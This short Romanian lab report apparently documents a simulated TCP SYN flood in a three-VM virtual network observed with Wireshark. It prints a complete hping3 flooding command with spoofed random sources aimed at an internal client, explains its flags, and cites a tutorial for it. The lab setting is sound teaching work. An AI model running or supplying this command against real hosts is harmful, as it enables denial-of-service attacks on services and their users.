Simularea atacului Sys Flooding

Stamate Valentin

Descrierea configurare

Pentru a simula atacul, s-au folosit 3 masini virtuale cu urmatoarele roluri:

- MV Router : rol router
- C1 : client 1
- C2 : client 2

Astfel vom obtine o retea interna unde C1 si C2 se pot conecta la MV Router. Acesta poate sa monitorizeze traficul reletei interne folosind aplicatia wireshark.

C2 va initia atacul folosind comanda:

sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.12

192.168.1.12 : adresa ip a lui C1, tinta atacului

-c 15000 : numarul de packete trimse

-d 120 : dimensiunea fiecarui packet in bytes

-S -w 64 : flagul SYN trebuie sa fie prezent cu o fereastra de 64

Se poate observa in video ca packetele malitioase sunt cele cu rosu iar interfata merge mult mai greu.

Bibliografie:

Comanda ce initiaza atacul : https://www.firewall.cx/general-topics-reviews/network-protocol-analyzers/1224-performing-tcp-syn-flood-attack-and-detecting-it-with-wireshark.html